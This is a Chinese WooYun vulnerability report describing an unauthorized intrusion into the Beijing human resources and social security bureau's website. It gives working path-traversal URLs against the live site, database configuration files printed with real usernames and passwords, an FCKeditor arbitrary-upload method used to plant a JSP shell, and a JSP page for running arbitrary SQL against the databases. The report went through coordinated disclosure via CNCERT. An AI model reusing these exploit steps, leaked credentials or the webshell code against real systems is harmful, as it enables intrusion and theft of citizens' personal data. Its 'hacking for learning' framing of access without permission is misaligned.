当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-06219

漏洞标题:北京市社会保障局可任意代码执行

相关厂商:北京市保障局

漏洞作者: possible

提交时间:2013-12-30 14:07

修复时间:2014-02-13 14:08

公开时间:2014-02-13 14:08

漏洞类型:文件上传导致任意代码执行

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-30: 细节已通知厂商并且等待厂商处理中
2014-01-04: 厂商已经确认,细节仅向厂商公开
2014-01-14: 细节向核心白帽子及相关领域专家公开
2014-01-24: 细节向普通白帽子公开
2014-02-03: 细节向实习白帽子公开
2014-02-13: 细节向公众公开

简要描述:

北京市保障局存在很多bug,简单做个小测试.

详细说明:

北京市人力资源与社会保障局站点,存在好多bug,而且该服务器上含有北京地区大量站点,导致大量用户信息泄露。
仅仅是为了学习而渗透,为了渗透而学习。整个过程中没有做任何破坏,只是为了证明漏洞存在的危害,和严重后果。
测试一个文件下载点:
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=201108050946274210.doc&src=附件一2011食品制造图表.doc
请求
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=aa/../201108050946274210.doc&src=附件一2011食品制造图表.doc
下载成功,说明没有过滤../
测试是否可以下载站点下任意文件,通过尝试web.xml文件
不断使用../回溯,当请求
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../WEB-INF/web.xml&src=web.xml
下载成功。
通过查看web.xml配置文件,获得里面使用了FCKeditor编辑器,直接百度该编辑器jsp版漏洞,发现
很单一,都是通过如下路径上传jspshell.
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
但是尝试后,发现没有成功,提示404页面不存在,使用下载点试图下载browser.html确实下载失败
说明管理员已经删除了该文件。没有办法没有看过Fckeditor源代码不知道还有什么漏洞,这条路只能暂时放弃。
然后想到的就是看网站源代码,看是否有sql注入可以获得管理员账号,进后台,或者通过查找可以知道后台路径,看是否有未授权访问的页面,如果后台上传无访问限制是最理想的情况。
请求
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../search/ddyy/index.jsp&src=index.jsp
看一下源代码,可以找到数据库连接文件
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../WEB-INF/classes/com/trs/ldj/DBobj.class&src=DBobj.class
进而找到数据库配置文件
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../WEB-INF/classes/com/trs/ldj/DatabaseConfig.properties&src=DatabaseConfig.properties
配置信息
driver=oracle.jdbc.driver.OracleDriver
url=jdbc:oracle:thin:@192.168.1.202:1521:oracle
user=ldj
pass=ldj
minlimit=10
maxlimit=30
### TRS数据库连接 ### (从D:\ldj\newsearch\fgout.jsp 学习一下TRS使用)
TRS_URL = 192.168.1.7
TRS_PORT = 8888
TRS_USERNAME = system
TRS_PASSWORD = manager
oracle不用说了,还有一个TRS,不知为何物,百度一下,原来也是一个数据库系统,自己孤陋了,不了点基础知识,可惜都是内网ip,没有映射出来,暂时没有什么用。
下载了几个sql查询界面,查找是否存在sql注入
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../search/ddyy/ddyy_01_outline.jsp&src=ddyy_01_outline.jsp
可惜都使用参数化查询,看来这套系统这点做的挺好,也坚持说明sql注入太普及,稍微知道点安全的程序员都不会犯这样的错误,说的绝对了。
找了半天没有找到后台,不知道后台页面是哪里,google hack一下,收到的是http://www.bjld.gov.cn/csibiz/csirp/guest/entprereg/login.jsp而该站点与下载点似乎不是一个站点,无法下载到其源代码. 因此,权限绕过上传页面没找到
不知道怎么办了,下载了下载功能页面,看是否能下载其它目录下内容,因为jsp的程序权限很高,只有你猜不到的路径,没有下载不了的路径。
http://www.bjld.gov.cn/LDJAPP/zcfg/downloadfile.jsp?dest=../../zcfg/downloadfile.jsp&src=downloadfile.jsp
下载成功,下载的绝对路径是
d:\\ldj\\zcfg\\upload\\
因此,说明d盘下的所有内容都可以下载的,但是猜来猜去也没有猜到登录页面站点所在网站的绝对路径。
再次思考,还是落到了Fckeditor编辑器上,因为是开源的,有源代码,下载之,看一下源代码.class反编译,该接收请求的.class中,可以接收http get和post请求,
get请求是一个查询操作,而post请求是一个上传操作,具体代码精简如下(这样充分说明“出来混的迟早要还的,自己动手丰衣足食”
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
....
String commandStr = request.getParameter("Command");
String typeStr = request.getParameter("Type");
String currentFolderStr = request.getParameter("CurrentFolder");
String currentPath = baseDir + typeStr + currentFolderStr;
String currentDirPath = getServletContext().getRealPath(currentPath);
if (!commandStr.equals("FileUpload")) { //command必须为FileUpload表示上传
retVal = "203";
} else {
DiskFileUpload upload = new DiskFileUpload();
try {
List items = upload.parseRequest(request);
Map fields = new HashMap();
Iterator iter = items.iterator();
while (iter.hasNext()) {
FileItem item = (FileItem)iter.next();
if (item.isFormField())
fields.put(item.getFieldName(), item.getString());
else
fields.put(item.getFieldName(), item);
}
FileItem uplFile = (FileItem)fields.get("NewFile"); //NewFile 上传文件中 file字段的名称
String fileNameLong = uplFile.getName();
fileNameLong = fileNameLong.replace('\\', '/');
String[] pathParts = fileNameLong.split("/");
String fileName = pathParts[(pathParts.length - 1)];
String nameWithoutExt = getNameWithoutExtension(fileName);
String ext = getExtension(fileName); //直接读取文件扩展
File pathToSave = new File(currentDirPath, fileName);
int counter = 1;
while (pathToSave.exists()) {
newName = nameWithoutExt + "(" + counter + ")" + "." + ext; //没有任何验证文件后缀,就是一个任意文件上传
retVal = "201";
pathToSave = new File(currentDirPath, newName);
counter++;
}
uplFile.write(pathToSave); //保存文件
因此只要请求中Command=FileUpload,使用post方式就可以实现任意文件上传(大神莫笑,只是网上没有搜到,小弟很孤陋...所以才这么费事,希望大神多多分享自己成果...)。而且后来找http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector数据包,发现其实最终数据也是post到上面的.class类中。
有了这个任意文件上传,就好办了,有两种方式可以上传1.使用代理burp等拦截到fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector上传的数据包,将其修改成post到www.bjld.gov.cn站点的Fckeditor路径即可
2.直接自己写代码向http://www.bjld.gov.cn/LDJAPP//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=file&CurrentFolder=/页面使用post请求上传文件即可。就简单用php写了一个小代码实现,选择一个文件,就会向指定的url中上传选择的文件,这样做主要是为了方便下次遇到在使用,所谓磨刀不误砍柴工。再者好久没有写代码了,当锻炼一下,否则有些太生疏了。
界面基本上这样。
获得一个shell,jsp 系统权限。
简单看一下站点是weblogic,下面有大量虚拟目录(每个目录都是一个站点,信息很多)
<Application Name="bbs" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="bbs" Targets="myserver" URI="bbs"/>

</Application>

<Application Name="comment" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="comment" Targets="myserver" URI="comment"/>

</Application>

<Application Name="era" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="era" Targets="myserver" URI="era"/>

</Application>

<Application Name="ldj" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="ldj" Targets="myserver" URI="ldj"/>

</Application>

<Application Name="forum" Path="D:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="forum" Targets="myserver" URI="forum"/>

</Application>

<Application Name="lf" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="lf" Targets="myserver" URI="lf"/>

</Application>

<Application Name="portalApp" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="portalApp" Targets="myserver" URI="portalApp"/>

</Application>

<Application Name="subscribe" Path="d:\" StagingMode="nostage" TwoPhase="true">

<WebAppComponent Name="subscribe" Targets="myserver" URI="subscribe"/>

</Application>
....
每个子目录都是不同站点,该站点连接了局域网内的两个oracle 和两个sql server
TCP 192.168.1.3:2172 192.168.1.14:1433 ESTABLISHED
TCP 192.168.1.3:2477 192.168.1.37:1433 TIME_WAIT
TCP 192.168.1.3:1064 192.168.1.202:1521 ESTABLISHED
TCP 192.168.1.3:1087 192.168.1.21:1521 ESTABLISHED
其实还有一个TRS在上面已经看到其配置文件了。
TRS_URL = 192.168.1.7
TRS_PORT = 8888
TRS_USERNAME = system
TRS_PASSWORD = manager
driver=oracle.jdbc.driver.OracleDriver
url=jdbc:oracle:thin:@192.168.1.202:1521:oracle
user=bbs
pass=bbs
oracle.jdbc.url=jdbc:oracle:thin:@192.168.1.21:1521:oracle
testbank.jdbc.driverClassName=${oracle.jdbc.driverClassName}
testbank.jdbc.url=${oracle.jdbc.url}
testbank.jdbc.username=gtptbw
testbank.jdbc.password=gtptbw
jdbc1.driverClassName=net.sourceforge.jtds.jdbc.Driver
jdbc1.url=jdbc:jtds:sqlserver://192.168.1.37:1433/middledata
jdbc1.username=sa
jdbc1.password=ldj
看一下sql server是sa权限的,这安全意识,已经可以了...又一个主机沦陷了...
对oracle不是很熟悉,因此学习一下,使用shell本身的功能总是连接失败,不知道是为什么(还请高人指点迷津,小弟先谢过了)
没有办法,只能自己写代码,但是从头写很是有点难度,因此想出一个比较简单方法,就是站点连接数据库都封装在.class中,我自己引入这样的class就完成了数据库的连接,只需要提供sql语句,就可以了。
<%@ page import="java.sql.*" contentType="text/html;charset=GBK" errorPage="error.jsp"%>
<%@ page import="com.trs.ldj.*" %>
<html>
<head>
<title>检索结果</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<%
Connection conn = null ;
PreparedStatement stmt = null ;
String sql = "";
try{

//连接数据库 应根据不同网站自行添加
com.trs.ldj.DBobj obj = new com.trs.ldj.DBobj();
conn = obj.getConnection();
//获得提交的sql语句
sql = request.getParameter("sqldata").trim();
//提交语句不为NULL
if(sql != null ||sql !=""){

stmt = conn.prepareStatement(sql);
ResultSet rs = stmt.executeQuery();
ResultSetMetaData rsmd = rs.getMetaData();
int columnCount = rsmd.getColumnCount();
int first = 1;
while (rs.next()){

//第一次输出表的列名
if(first == 1){
for (int i=1; i<=columnCount; i++) {
out.println(rsmd.getColumnName(i)+" ");
}
//两个换行符
out.println("<br><br>");
//不在输出列名
first = 0;
} // end if

for (int i=1; i<=columnCount; i++) {
if(rs.getString(rsmd.getColumnName(i))!=null){
out.println(rs.getString(rsmd.getColumnName(i))+" ");

}else{
out.println("NULL");
}
}
out.println("<br>");
} // end while
rs.close();
}else
{
out.println("请输入查询语句");
}

}
finally{
stmt.close();
conn.close();

}
%>
代码比较丑陋,对jsp不是特别熟悉,但是这段小代码却已经满足了我的需求,不管黑猫白猫,找到耗子就是好猫,利用这段代码可以查询出很多,数据库信息表。
本想对内网做个渗透,但由于...还是放弃了,当然渗透主要是想学习网络本身的拓扑结构,正所谓为了学习而渗透,而在渗透的过程中不断学习,不断成长。
(做个梦:如果可能希望可以获得授权,学习一下内网部署)
简单总结一下:由任意文件下载(网站目录下任意文件下载)和FCKeditor编辑器漏洞,获得shell。同时遇到不同问题,不断学习。当然本文可能写偏了,与网站本身的漏洞讲的不是特别多,没有特别仔细看,代码太多,只关心数据了。

漏洞证明:

仅一个表就有几十万数据,包括用户名密码、邮箱,单位名等等


某个数据库下所有表查询



注:该服务器上有很多虚拟目录,下面还有好多用户信息,不一一列举.

修复方案:

过滤+不要使用明文存密码
最后还是非常感谢站台提供的这样真实的学习环境!

版权声明:转载请注明来源 possible@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-01-04 10:54

厂商回复:

CNVD确认并复现所述情况(应该叫文件包含吧),已经转由CNCERT通报给北京市信息化主管部门,由其后续尝试联系网站管理部门处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-02-13 14:27 | Vty ( 普通白帽子 | Rank:199 漏洞数:37 )

    好牛逼的样子额

  2. 2014-02-13 16:28 | Kowalski ( 路人 | Rank:20 漏洞数:8 | 菜鸟一枚,进步交流。)

    不明觉厉

  3. 2014-02-14 22:52 | 半世倾尘 ( 路人 | Rank:29 漏洞数:8 | 努力)

    非常厉害 值得学习